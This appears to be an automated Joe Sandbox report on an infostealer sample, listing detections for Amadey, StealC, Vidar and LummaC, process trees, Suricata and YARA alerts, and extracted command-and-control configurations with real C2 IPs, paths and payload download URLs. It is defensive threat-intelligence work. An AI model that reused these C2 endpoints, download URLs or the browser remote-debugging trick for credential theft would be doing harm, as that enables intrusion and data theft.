Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1562256
MD5:	91b37d2cd25d901080a13743131a5229
SHA1:	0b77ba7424bf660b1bd8f4f6c01208cb8eaaef9e
SHA256:	d84a99942feba00f43b585deed2d7b44caa59488c61ec4d8b118b407d4f4c6f9
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2700 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 91B37D2CD25D901080A13743131A5229)

chrome.exe (PID: 344 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7192 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2352 --field-trial-handle=2072,i,6352660947356166951,12031086605631171018,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 6816 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8004 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2284,i,12587034906761633398,4416084436642061147,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 7264 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCAEHDBAAEC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsCAEHDBAAEC.exe (PID: 6760 cmdline: "C:\Users\user\DocumentsCAEHDBAAEC.exe" MD5: 9E17612D265863581FC761E5B94622D3)

skotes.exe (PID: 8848 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 9E17612D265863581FC761E5B94622D3)

msedge.exe (PID: 8188 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7660 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=1992,i,16538886290713624235,1857347339083574293,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8564 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6256 --field-trial-handle=1992,i,16538886290713624235,1857347339083574293,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8608 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6436 --field-trial-handle=1992,i,16538886290713624235,1857347339083574293,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8436 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5988 --field-trial-handle=1992,i,16538886290713624235,1857347339083574293,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 6048 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 9E17612D265863581FC761E5B94622D3)

skotes.exe (PID: 8676 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 9E17612D265863581FC761E5B94622D3)

eDPQZkT.exe (PID: 8712 cmdline: "C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe" MD5: A63CADCE90E5A2236DF20FEAF391A8A5)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000018.00000003.1993446233.0000000004B00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.2035721983.0000000000DF1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000003.2556448179.00000000049D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1499547754.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000002.2753217663.0000000000FB1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2001894530.00000000004BC000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000002.2075502137.0000000000FB1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000002.2062300079.0000000000FB1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2001894530.00000000003F1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2005702282.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000019.00000003.2021553596.0000000004D60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000003.2034975081.0000000004C20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000002.2753465819.0000000000D77000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2700	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2700	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2700	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2700	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: eDPQZkT.exe PID: 8712	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: eDPQZkT.exe PID: 8712	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author
24.2.DocumentsCAEHDBAAEC.exe.df0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.skotes.exe.fb0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
29.2.skotes.exe.fb0000.1.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
26.2.skotes.exe.fb0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 2700, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 344, ProcessName: chrome.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T12:10:17.333281+0100	2028371	3	Unknown Traffic	192.168.2.8	61175	104.21.88.250	443	TCP
2024-11-25T12:10:19.299000+0100	2028371	3	Unknown Traffic	192.168.2.8	61182	104.21.88.250	443	TCP
2024-11-25T12:10:22.729123+0100	2028371	3	Unknown Traffic	192.168.2.8	61188	104.21.88.250	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T12:10:18.020871+0100	2054653	1	A Network Trojan was detected	192.168.2.8	61175	104.21.88.250	443	TCP
2024-11-25T12:10:21.081306+0100	2054653	1	A Network Trojan was detected	192.168.2.8	61182	104.21.88.250	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T12:10:18.020871+0100	2049836	1	A Network Trojan was detected	192.168.2.8	61175	104.21.88.250	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T12:10:21.081306+0100	2049812	1	A Network Trojan was detected	192.168.2.8	61182	104.21.88.250	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T12:10:17.592877+0100	2044696	1	A Network Trojan was detected	192.168.2.8	61174	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T12:08:20.748963+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T12:08:20.603697+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.8	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T12:08:21.085349+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.8	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T12:08:22.539709+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.8	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T12:08:21.318936+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T12:08:20.122105+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49704	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T12:10:05.824001+0100	2856147	1	A Network Trojan was detected	192.168.2.8	61146	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T12:10:16.152713+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.8	61152	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T12:10:10.333489+0100	2803305	3	Unknown Traffic	192.168.2.8	61157	31.41.244.11	80	TCP
2024-11-25T12:10:19.151685+0100	2803305	3	Unknown Traffic	192.168.2.8	61180	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T12:08:23.274816+0100	2803304	3	Unknown Traffic	192.168.2.8	49704	185.215.113.206	80	TCP
2024-11-25T12:08:45.529530+0100	2803304	3	Unknown Traffic	192.168.2.8	49744	185.215.113.206	80	TCP
2024-11-25T12:08:47.519651+0100	2803304	3	Unknown Traffic	192.168.2.8	49744	185.215.113.206	80	TCP
2024-11-25T12:08:48.860039+0100	2803304	3	Unknown Traffic	192.168.2.8	49744	185.215.113.206	80	TCP
2024-11-25T12:08:49.991577+0100	2803304	3	Unknown Traffic	192.168.2.8	49744	185.215.113.206	80	TCP
2024-11-25T12:08:53.605829+0100	2803304	3	Unknown Traffic	192.168.2.8	49744	185.215.113.206	80	TCP
2024-11-25T12:08:54.742046+0100	2803304	3	Unknown Traffic	192.168.2.8	49744	185.215.113.206	80	TCP
2024-11-25T12:09:00.927176+0100	2803304	3	Unknown Traffic	192.168.2.8	49830	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://frogs-severz.sbs/0	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dll8	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dll$	Avira URL Cloud: Label: malware
Source: https://frogs-severz.sbs//	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllz	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000018.00000003.1993446233.0000000004B00000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.2700.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\eDPQZkT[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA56C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6CA56C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CBAA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA44C0 PK11_PubEncrypt,	0_2_6CBA44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB74420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CB74420

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:49828 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.8:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.8:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.8:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.6:443 -> 192.168.2.8:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.8:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.88.250:443 -> 192.168.2.8:61175 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.88.250:443 -> 192.168.2.8:61182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.88.250:443 -> 192.168.2.8:61188 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2038311729.000000006CC7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2038311729.000000006CC7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.8:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.8:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.8:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.8:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.8:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.8:61146 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.8:61152
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:61174 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:61182 -> 104.21.88.250:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:61182 -> 104.21.88.250:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:61175 -> 104.21.88.250:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:61175 -> 104.21.88.250:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

